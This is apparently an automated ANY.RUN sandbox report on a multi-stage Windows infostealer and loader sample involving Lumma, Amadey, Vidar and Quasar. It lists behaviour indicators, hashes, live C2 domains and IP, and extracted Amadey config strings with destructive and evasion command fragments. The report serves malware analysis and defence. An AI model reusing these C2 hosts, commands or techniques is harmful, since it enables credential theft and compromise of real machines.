File name:

747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin

Full analysis: https://app.any.run/tasks/33a96147-9b9c-49ec-ac75-c48fe2824964
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Analysis date: June 21, 2025, 18:52:54
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
lumma
stealer
themida
loader
amadey
botnet
screenconnect
rmm-tool
rdp
evasion
telegram
vidar
lclipper
clipper
stealc
auto-reg
autoit
python
stegocampaign
github
ta558
apt
payload
reverseloader
quasar
rat
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
MD5:

BF1D15917F1CDAE236D71388B83694E2

SHA1:

3225CAA4E3B611C45D28D7CFD301BEB3285B5937

SHA256:

747FFA736596D49D35D5BA0B06619F54F32173F24AFD803002544EC5883DA93A

SSDEEP:

98304:TOIuG7Kh/d2N0KBIJyb1ChbvGW0VmtxPYczHOCc1X9SlEIryvCLfabKSNLro4a2P:rtIsCuloO

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • LUMMA mutex has been found

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • MSBuild.exe (PID: 8052)
    • LUMMA has been detected (YARA)

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
    • Actions looks like stealing of personal data

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • MSBuild.exe (PID: 4880)
    • Steals credentials from Web Browsers

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • MSBuild.exe (PID: 4880)
    • AMADEY mutex has been found

      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • ramez.exe (PID: 7152)
      • ramez.exe (PID: 7768)
    • AMADEY has been detected (SURICATA)

      • ramez.exe (PID: 7152)
    • Connects to the CnC server

      • ramez.exe (PID: 7152)
      • svchost.exe (PID: 2200)
    • AMADEY has been detected (YARA)

      • ramez.exe (PID: 7152)
    • VIDAR mutex has been found

      • MSBuild.exe (PID: 4880)
    • Changes the autorun value in the registry

      • af20549e9f.exe (PID: 6700)
      • reg.exe (PID: 7788)
      • reg.exe (PID: 7684)
      • reg.exe (PID: 7172)
    • LCLIPPER mutex has been found

      • GoogleChrome.exe (PID: 5744)
      • GoogleChrome.exe (PID: 6228)
      • af20549e9f.exe (PID: 6700)
    • Executing a file with an untrusted certificate

      • blOahSM.exe (PID: 7936)
      • blOahSM.exe (PID: 8020)
      • EG11t89.exe (PID: 7500)
      • EG11t89.exe (PID: 7316)
    • Uses Task Scheduler to run other applications

      • EG11t89.exe (PID: 7500)
    • Run PowerShell with an invisible window

      • powershell.exe (PID: 4380)
      • powershell.exe (PID: 1040)
    • Changes powershell execution policy

      • wscript.exe (PID: 7252)
      • powershell.exe (PID: 4380)
    • STEGOCAMPAIGN has been detected

      • powershell.exe (PID: 1040)
    • Application was injected by another process

      • explorer.exe (PID: 4772)
    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 1040)
    • Runs injected code in another process

      • EG11t89.exe (PID: 7316)
    • LUMMA has been detected (SURICATA)

      • MSBuild.exe (PID: 8052)
      • svchost.exe (PID: 2200)
    • QUASAR mutex has been found

      • AddInProcess32.exe (PID: 7344)
    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 1040)
  • SUSPICIOUS

    • Reads the BIOS version

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • ramez.exe (PID: 7152)
      • af20549e9f.exe (PID: 6700)
      • GoogleChrome.exe (PID: 5744)
      • GoogleChrome.exe (PID: 6228)
      • ramez.exe (PID: 7768)
    • Searches for installed software

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • MSBuild.exe (PID: 4880)
    • Process requests binary or script from the Internet

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • ramez.exe (PID: 7152)
    • Connects to the server without a host name

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • ramez.exe (PID: 7152)
    • Potential Corporate Privacy Violation

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • ramez.exe (PID: 7152)
    • Executable content was dropped or overwritten

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • ramez.exe (PID: 7152)
      • rundll32.exe (PID: 5896)
      • af20549e9f.exe (PID: 6700)
      • winservicex32.exe (PID: 7124)
      • blOahSM.exe (PID: 8020)
      • csc.exe (PID: 7332)
      • lab.exe (PID: 3608)
      • lab.exe (PID: 1236)
      • csc.exe (PID: 7960)
      • EG11t89.exe (PID: 7500)
      • Python.exe (PID: 7980)
      • csc.exe (PID: 8548)
      • csc.exe (PID: 8808)
    • Starts itself from another location

      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • winservicex32.exe (PID: 7124)
    • Reads security settings of Internet Explorer

      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • ramez.exe (PID: 7152)
      • 1ZFBiSS.exe (PID: 1932)
      • ScreenConnect.ClientService.exe (PID: 1488)
      • ScreenConnect.WindowsClient.exe (PID: 2524)
      • af20549e9f.exe (PID: 6700)
      • MSBuild.exe (PID: 4880)
      • GoogleChrome.exe (PID: 5744)
      • blOahSM.exe (PID: 7936)
      • blOahSM.exe (PID: 8020)
      • AutoIt3_x64.exe (PID: 8092)
      • EG11t89.exe (PID: 7500)
    • Contacting a server suspected of hosting an CnC

      • ramez.exe (PID: 7152)
      • svchost.exe (PID: 2200)
      • MSBuild.exe (PID: 8052)
    • There is functionality for enable RDP (YARA)

      • ramez.exe (PID: 7152)
    • There is functionality for taking screenshot (YARA)

      • ramez.exe (PID: 7152)
    • Executes as Windows Service

      • VSSVC.exe (PID: 3844)
      • ScreenConnect.ClientService.exe (PID: 1488)
    • Executes application which crashes

      • 1ZFBiSS.exe (PID: 3948)
    • Reads the Windows owner or organization settings

      • msiexec.exe (PID: 6980)
    • Process drops legitimate windows executable

      • ramez.exe (PID: 7152)
      • winservicex32.exe (PID: 7124)
      • blOahSM.exe (PID: 8020)
      • lab.exe (PID: 1236)
      • lab.exe (PID: 3608)
      • Python.exe (PID: 7980)
    • Starts a Microsoft application from unusual location

      • winservicex32.exe (PID: 7076)
      • 4eTHv9F.exe (PID: 6192)
      • winservicex32.exe (PID: 7124)
      • v999f8.exe (PID: 1524)
      • 4TQHprw.exe (PID: 8116)
      • 08IyOOF.exe (PID: 7580)
      • nxTpPrk.exe (PID: 9024)
    • Creates/Modifies COM task schedule object

      • msiexec.exe (PID: 6980)
    • The process creates files with name similar to system file names

      • msiexec.exe (PID: 6980)
    • Screenconnect has been detected

      • msiexec.exe (PID: 6980)
      • ScreenConnect.ClientService.exe (PID: 1488)
      • ScreenConnect.ClientService.exe (PID: 1488)
    • SCREENCONNECT mutex has been found

      • ScreenConnect.ClientService.exe (PID: 1488)
    • Creates or modifies Windows services

      • ScreenConnect.ClientService.exe (PID: 1488)
    • Connects to unusual port

      • ScreenConnect.ClientService.exe (PID: 1488)
      • MSBuild.exe (PID: 1324)
      • AddInProcess32.exe (PID: 7344)
    • Application launched itself

      • winservicex32.exe (PID: 7076)
      • cmd.exe (PID: 868)
      • blOahSM.exe (PID: 7936)
      • upgngcodhcfv.exe (PID: 8084)
      • upgngcodhcfv.exe (PID: 7876)
      • lab.exe (PID: 3608)
      • EG11t89.exe (PID: 7500)
      • powershell.exe (PID: 4380)
    • Checks for external IP

      • 09NlD7c.exe (PID: 1704)
      • svchost.exe (PID: 2200)
      • af20549e9f.exe (PID: 6700)
      • GoogleChrome.exe (PID: 5744)
      • AddInProcess32.exe (PID: 7344)
    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • MSBuild.exe (PID: 4880)
      • GoogleChrome.exe (PID: 5744)
    • Starts CMD.EXE for commands execution

      • af20549e9f.exe (PID: 6700)
      • cmd.exe (PID: 868)
      • blOahSM.exe (PID: 8020)
      • lab.exe (PID: 1236)
      • 4TQHprw.exe (PID: 8116)
    • Runs PING.EXE to delay simulation

      • cmd.exe (PID: 4380)
    • The executable file from the user directory is run by the CMD process

      • GoogleChrome.exe (PID: 5744)
      • Python.exe (PID: 7980)
    • Reads the date of Windows installation

      • jzQILRF.exe (PID: 4868)
      • blOahSM.exe (PID: 7936)
      • blOahSM.exe (PID: 8020)
    • Starts POWERSHELL.EXE for commands execution

      • MSBuild.exe (PID: 4880)
      • wscript.exe (PID: 7252)
      • powershell.exe (PID: 4380)
    • The process executes via Task Scheduler

      • ramez.exe (PID: 7768)
    • Uses REG/REGEDIT.EXE to modify registry

      • winservicex32.exe (PID: 7124)
      • upgngcodhcfv.exe (PID: 1080)
      • upgngcodhcfv.exe (PID: 6828)
    • Base64-obfuscated command line is found

      • MSBuild.exe (PID: 4880)
    • The process drops C-runtime libraries

      • blOahSM.exe (PID: 8020)
      • lab.exe (PID: 3608)
      • lab.exe (PID: 1236)
      • Python.exe (PID: 7980)
    • BASE64 encoded PowerShell command has been detected

      • MSBuild.exe (PID: 4880)
    • Executing commands from ".cmd" file

      • blOahSM.exe (PID: 8020)
    • The process bypasses the loading of PowerShell profile settings

      • MSBuild.exe (PID: 4880)
    • Starts the AutoIt3 executable file

      • blOahSM.exe (PID: 8020)
    • Gets content of a file (POWERSHELL)

      • powershell.exe (PID: 7680)
      • powershell.exe (PID: 7544)
      • powershell.exe (PID: 7780)
      • powershell.exe (PID: 2404)
      • powershell.exe (PID: 7520)
      • powershell.exe (PID: 8268)
    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7680)
      • powershell.exe (PID: 7544)
      • powershell.exe (PID: 4380)
      • powershell.exe (PID: 7780)
      • powershell.exe (PID: 2404)
      • powershell.exe (PID: 1040)
      • powershell.exe (PID: 7520)
      • powershell.exe (PID: 8268)
    • The process hide an interactive prompt from the user

      • MSBuild.exe (PID: 4880)
    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 7332)
      • csc.exe (PID: 7960)
      • csc.exe (PID: 8548)
      • csc.exe (PID: 8808)
      • csc.exe (PID: 8552)
      • csc.exe (PID: 7600)
    • Executing commands from a ".bat" file

      • lab.exe (PID: 1236)
    • Process drops python dynamic module

      • lab.exe (PID: 3608)
    • The process executes VB scripts

      • cmd.exe (PID: 8136)
    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 7252)
    • Get information on the list of running processes

      • powershell.exe (PID: 4380)
    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 7252)
    • Found IP address in command line

      • powershell.exe (PID: 1040)
    • Accesses computer name via WMI (SCRIPT)

      • wscript.exe (PID: 7252)
    • Probably download files using WebClient

      • powershell.exe (PID: 4380)
    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 1040)
  • INFO

    • Reads the computer name

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • ramez.exe (PID: 7152)
      • 1ZFBiSS.exe (PID: 1932)
      • msiexec.exe (PID: 6980)
      • msiexec.exe (PID: 3148)
      • 1ZFBiSS.exe (PID: 3948)
      • msiexec.exe (PID: 5368)
      • msiexec.exe (PID: 6956)
      • ScreenConnect.ClientService.exe (PID: 1488)
      • ScreenConnect.WindowsClient.exe (PID: 2524)
      • 09NlD7c.exe (PID: 1704)
      • MSBuild.exe (PID: 1324)
      • MSBuild.exe (PID: 4880)
      • GoogleChrome.exe (PID: 5744)
      • jzQILRF.exe (PID: 4868)
      • blOahSM.exe (PID: 7936)
      • blOahSM.exe (PID: 8020)
      • AutoIt3_x64.exe (PID: 8092)
      • af20549e9f.exe (PID: 6700)
      • EG11t89.exe (PID: 7500)
      • 4TQHprw.exe (PID: 8116)
      • Python.exe (PID: 7980)
      • AddInProcess32.exe (PID: 7344)
    • Checks supported languages

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • ramez.exe (PID: 7152)
      • 1ZFBiSS.exe (PID: 1932)
      • msiexec.exe (PID: 3148)
      • msiexec.exe (PID: 6980)
      • 1ZFBiSS.exe (PID: 3948)
      • msiexec.exe (PID: 5368)
      • winservicex32.exe (PID: 7076)
      • msiexec.exe (PID: 6956)
      • ScreenConnect.ClientService.exe (PID: 1488)
      • ScreenConnect.WindowsClient.exe (PID: 2524)
      • 4eTHv9F.exe (PID: 6192)
      • 09NlD7c.exe (PID: 1704)
      • MSBuild.exe (PID: 1324)
      • MSBuild.exe (PID: 4880)
      • winservicex32.exe (PID: 7124)
      • af20549e9f.exe (PID: 6700)
      • v999f8.exe (PID: 1524)
      • GoogleChrome.exe (PID: 5744)
      • GoogleChrome.exe (PID: 6228)
      • jzQILRF.exe (PID: 4868)
      • ramez.exe (PID: 7768)
      • upgngcodhcfv.exe (PID: 7876)
      • blOahSM.exe (PID: 7936)
      • blOahSM.exe (PID: 8020)
      • AutoIt3_x64.exe (PID: 8092)
      • upgngcodhcfv.exe (PID: 8084)
      • EG11t89.exe (PID: 7500)
      • csc.exe (PID: 7332)
      • cvtres.exe (PID: 7368)
      • upgngcodhcfv.exe (PID: 1080)
      • upgngcodhcfv.exe (PID: 6828)
      • lab.exe (PID: 3608)
      • lab.exe (PID: 1236)
      • cvtres.exe (PID: 1040)
      • 4TQHprw.exe (PID: 8116)
      • Python.exe (PID: 7980)
      • csc.exe (PID: 7960)
      • EG11t89.exe (PID: 7316)
      • AddInProcess32.exe (PID: 7344)
      • 08IyOOF.exe (PID: 7580)
      • csc.exe (PID: 8548)
    • Reads the software policy settings

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • ramez.exe (PID: 7152)
      • WerFault.exe (PID: 5764)
      • 09NlD7c.exe (PID: 1704)
      • MSBuild.exe (PID: 4880)
      • GoogleChrome.exe (PID: 5744)
      • slui.exe (PID: 3564)
      • jzQILRF.exe (PID: 4868)
      • powershell.exe (PID: 6228)
      • powershell.exe (PID: 7680)
      • powershell.exe (PID: 7544)
      • powershell.exe (PID: 1040)
      • powershell.exe (PID: 7780)
      • powershell.exe (PID: 7568)
      • powershell.exe (PID: 2404)
      • powershell.exe (PID: 5244)
      • powershell.exe (PID: 7520)
      • MSBuild.exe (PID: 8052)
      • powershell.exe (PID: 7852)
      • powershell.exe (PID: 8268)
      • powershell.exe (PID: 8732)
    • Reads the machine GUID from the registry

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • 1ZFBiSS.exe (PID: 1932)
      • 1ZFBiSS.exe (PID: 3948)
      • ramez.exe (PID: 7152)
      • ScreenConnect.ClientService.exe (PID: 1488)
      • ScreenConnect.WindowsClient.exe (PID: 2524)
      • 09NlD7c.exe (PID: 1704)
      • MSBuild.exe (PID: 1324)
      • MSBuild.exe (PID: 4880)
      • GoogleChrome.exe (PID: 5744)
      • jzQILRF.exe (PID: 4868)
      • AutoIt3_x64.exe (PID: 8092)
      • EG11t89.exe (PID: 7500)
      • csc.exe (PID: 7332)
      • lab.exe (PID: 1236)
      • csc.exe (PID: 7960)
      • MSBuild.exe (PID: 8052)
      • AddInProcess32.exe (PID: 7344)
      • csc.exe (PID: 8548)
    • Application launched itself

      • chrome.exe (PID: 4080)
      • chrome.exe (PID: 4664)
      • chrome.exe (PID: 7140)
      • chrome.exe (PID: 4196)
      • msedge.exe (PID: 6312)
      • msedge.exe (PID: 5124)
      • msedge.exe (PID: 3460)
      • msedge.exe (PID: 1164)
      • msedge.exe (PID: 2324)
      • msedge.exe (PID: 3944)
      • chrome.exe (PID: 5928)
      • chrome.exe (PID: 7676)
      • chrome.exe (PID: 7536)
      • chrome.exe (PID: 7776)
      • chrome.exe (PID: 7764)
      • chrome.exe (PID: 7352)
      • chrome.exe (PID: 6548)
      • chrome.exe (PID: 7988)
      • chrome.exe (PID: 8260)
      • chrome.exe (PID: 504)
      • chrome.exe (PID: 8500)
      • chrome.exe (PID: 8724)
      • chrome.exe (PID: 8944)
      • chrome.exe (PID: 7724)
    • Themida protector has been detected

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • ramez.exe (PID: 7152)
    • Create files in a temporary directory

      • 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe (PID: 4892)
      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • ramez.exe (PID: 7152)
      • 1ZFBiSS.exe (PID: 1932)
      • rundll32.exe (PID: 5896)
      • MSBuild.exe (PID: 4880)
      • powershell.exe (PID: 6228)
      • blOahSM.exe (PID: 8020)
      • AutoIt3_x64.exe (PID: 8092)
      • csc.exe (PID: 7332)
      • cvtres.exe (PID: 7368)
      • powershell.exe (PID: 7680)
      • powershell.exe (PID: 7544)
      • lab.exe (PID: 3608)
      • lab.exe (PID: 1236)
      • cvtres.exe (PID: 1040)
      • 4TQHprw.exe (PID: 8116)
      • EG11t89.exe (PID: 7500)
      • csc.exe (PID: 7960)
      • powershell.exe (PID: 1040)
      • powershell.exe (PID: 7568)
      • powershell.exe (PID: 7780)
      • powershell.exe (PID: 5244)
    • Process checks computer location settings

      • N3AFYU6KGL8P87YU7TRF5Z2LJCPB1XS.exe (PID: 6504)
      • ramez.exe (PID: 7152)
      • 1ZFBiSS.exe (PID: 1932)
      • blOahSM.exe (PID: 7936)
      • blOahSM.exe (PID: 8020)
      • EG11t89.exe (PID: 7500)
    • Checks proxy server information

      • ramez.exe (PID: 7152)
      • WerFault.exe (PID: 5764)
      • 09NlD7c.exe (PID: 1704)
      • af20549e9f.exe (PID: 6700)
      • MSBuild.exe (PID: 4880)
      • GoogleChrome.exe (PID: 5744)
      • slui.exe (PID: 3564)
      • jzQILRF.exe (PID: 4868)
      • powershell.exe (PID: 1040)
    • Creates files or folders in the user directory

      • ramez.exe (PID: 7152)
      • WerFault.exe (PID: 5764)
      • MSBuild.exe (PID: 4880)
      • af20549e9f.exe (PID: 6700)
      • GoogleChrome.exe (PID: 5744)
      • winservicex32.exe (PID: 7124)
      • EG11t89.exe (PID: 7500)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3732)
      • msiexec.exe (PID: 6980)
    • CONNECTWISE has been detected

      • msiexec.exe (PID: 3732)
      • msiexec.exe (PID: 6980)
      • ScreenConnect.ClientService.exe (PID: 1488)
      • ScreenConnect.WindowsClient.exe (PID: 2524)
    • SCREENCONNECT has been detected

      • 1ZFBiSS.exe (PID: 3948)
      • msiexec.exe (PID: 6980)
      • ScreenConnect.ClientService.exe (PID: 1488)
    • Manages system restore points

      • SrTasks.exe (PID: 1164)
    • The sample compiled with english language support

      • ramez.exe (PID: 7152)
      • winservicex32.exe (PID: 7124)
      • blOahSM.exe (PID: 8020)
      • lab.exe (PID: 1236)
      • lab.exe (PID: 3608)
      • Python.exe (PID: 7980)
    • Creates a software uninstall entry

      • msiexec.exe (PID: 6980)
    • Attempting to use instant messaging service

      • MSBuild.exe (PID: 4880)
    • Creates files in the program directory

      • MSBuild.exe (PID: 4880)
    • Launching a file from a Registry key

      • af20549e9f.exe (PID: 6700)
      • reg.exe (PID: 7788)
      • reg.exe (PID: 7172)
      • reg.exe (PID: 7684)
    • Disables trace logs

      • ScreenConnect.ClientService.exe (PID: 1488)
      • powershell.exe (PID: 1040)
    • Manual execution by a user

      • GoogleChrome.exe (PID: 6228)
      • upgngcodhcfv.exe (PID: 8084)
    • Reads Environment values

      • MSBuild.exe (PID: 4880)
      • AutoIt3_x64.exe (PID: 8092)
    • Reads CPU info

      • MSBuild.exe (PID: 4880)
    • Reads product name

      • MSBuild.exe (PID: 4880)
    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 6228)
      • powershell.exe (PID: 7680)
      • powershell.exe (PID: 7544)
      • powershell.exe (PID: 1040)
      • powershell.exe (PID: 7568)
      • powershell.exe (PID: 7780)
      • powershell.exe (PID: 2404)
      • powershell.exe (PID: 5244)
      • powershell.exe (PID: 7852)
      • powershell.exe (PID: 8268)
      • powershell.exe (PID: 8508)
      • powershell.exe (PID: 7520)
      • powershell.exe (PID: 8732)
    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 6228)
      • powershell.exe (PID: 7568)
      • powershell.exe (PID: 5244)
      • powershell.exe (PID: 7852)
    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6228)
      • powershell.exe (PID: 7568)
      • powershell.exe (PID: 5244)
      • powershell.exe (PID: 7780)
      • powershell.exe (PID: 7852)
      • powershell.exe (PID: 2404)
    • Reads mouse settings

      • AutoIt3_x64.exe (PID: 8092)
    • Python executable

      • Python.exe (PID: 7980)
    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 4380)
    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 4380)
    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 4380)
    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 1040)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Lumma

(PID) Process(4892) 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe
C2 (9)ropyi.xyz/zadf
skjgx.xyz/riuw
gewgb.xyz/axgh
baviip.xyz/twiw
equidn.xyz/xapq
spjeo.xyz/axka
firddy.xyz/yhbc
shaeb.xyz/ikxz
trqqe.xyz/xudu

Amadey

(PID) Process(7152) ramez.exe
C2185.156.72.96
URLhttp://185.156.72.96/te4h2nus/index.php
Version5.34
Options
Drop directoryd610cf342e
Drop nameramez.exe
Strings (125)Powershell.exe
/te4h2nus/index.php
ramez.exe
bi:
185.156.72.96
AVAST Software
/Plugins/
------
id:
\0000
wb
Programs
-%lu
.jpg
AVG
r=
dm:
-executionpolicy remotesigned -File "
SOFTWARE\Microsoft\Windows NT\CurrentVersion
\
ProgramData\
Avira
e2
os:
http://
vs:
<c>
2025
ComputerName
og:
00000419
rb
2022
Content-Type: application/x-www-form-urlencoded
shell32.dll
https://
Main
Sophos
Norton
GET
#
S-%lu-
st=s
cmd /C RMDIR /s/q
lv:
msi
Content-Disposition: form-data; name="data"; filename="
5.34
d1
2016
ar:
cred.dll|clip.dll|
rundll32
WinDefender
Content-Type: multipart/form-data; boundary=----
Rem
CurrentBuild
0123456789
&& Exit"
un:
Kaspersky Lab
d610cf342e
Bitdefender
+++
av:
rundll32.exe
random
<d>
Keyboard Layout\Preload
shutdown -s -t 0
DefaultSettings.XResolution
/quiet
--
0000043f
Startup
e1
Doctor Web
2019
GetNativeSystemInfo
VideoID
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
:::
ESET
DefaultSettings.YResolution
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
" && ren
abcdefghijklmnopqrstuvwxyz0123456789-_
cmd
"taskkill /f /im "
00000423
-unicode-
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
cred.dll
360TotalSecurity
"
exe
00000422
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
&&
Comodo
" Content-Type: application/octet-stream
------
?scr=1
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
zip
dll
/k
&unit=
ps1
" && timeout 1 && del
kernel32.dll
ProductName
%-lu
clip.dll
%USERPROFILE%
\App
SYSTEM\ControlSet001\Services\BasicDisplay\Video
pc:
sd:
POST
Panda Security
e3
|
=
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:06:16 14:51:43+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 311296
InitializedDataSize: 37888
UninitializedDataSize: -
EntryPoint: 0x4ab000
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
379
Monitored processes
237
Malicious processes
28
Suspicious processes
14

Behavior graph

Click at the process to see the details
start #LUMMA 747ffa736596d49d35d5ba0b06619f54f32173f24afd803002544ec5883da93a.bin.exe chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs slui.exe n3afyu6kgl8p87yu7trf5z2ljcpb1xs.exe #AMADEY ramez.exe 1zfbiss.exe no specs 1zfbiss.exe msiexec.exe msiexec.exe msiexec.exe no specs rundll32.exe vssvc.exe no specs 1zfbiss.exe no specs 1zfbiss.exe werfault.exe #LUMMA svchost.exe srtasks.exe no specs conhost.exe no specs winservicex32.exe no specs conhost.exe no specs msiexec.exe no specs msiexec.exe no specs #SCREENCONNECT screenconnect.clientservice.exe screenconnect.windowsclient.exe no specs 4ethv9f.exe no specs conhost.exe no specs winservicex32.exe 09nld7c.exe msbuild.exe v999f8.exe no specs conhost.exe no specs msbuild.exe no specs #VIDAR msbuild.exe #LCLIPPER af20549e9f.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs ping.exe no specs #LCLIPPER googlechrome.exe #LCLIPPER googlechrome.exe no specs jzqilrf.exe chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs ramez.exe no specs reg.exe conhost.exe no specs upgngcodhcfv.exe no specs conhost.exe no specs bloahsm.exe no specs bloahsm.exe upgngcodhcfv.exe no specs autoit3_x64.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs eg11t89.exe csc.exe cvtres.exe no specs chrome.exe no specs upgngcodhcfv.exe no specs upgngcodhcfv.exe no specs reg.exe conhost.exe no specs conhost.exe no specs reg.exe conhost.exe no specs chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs lab.exe lab.exe cmd.exe no specs conhost.exe no specs python.exe conhost.exe no specs csc.exe cvtres.exe no specs chrome.exe no specs 4tqhprw.exe no specs cmd.exe no specs conhost.exe no specs schtasks.exe no specs conhost.exe no specs wscript.exe no specs eg11t89.exe no specs powershell.exe no specs conhost.exe no specs #STEGOCAMPAIGN powershell.exe chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs 08iyoof.exe no specs conhost.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs #LUMMA msbuild.exe chrome.exe no specs powershell.exe no specs chrome.exe no specs #QUASAR addinprocess32.exe conhost.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs csc.exe conhost.exe no specs cvtres.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs csc.exe chrome.exe no specs powershell.exe no specs chrome.exe no specs cvtres.exe no specs conhost.exe no specs nxtpprk.exe no specs conhost.exe no specs chrome.exe no specs powershell.exe no specs chrome.exe no specs conhost.exe no specs csc.exe no specs csc.exe no specs explorer.exe

Process information

PID
CMD
Path
Indicators
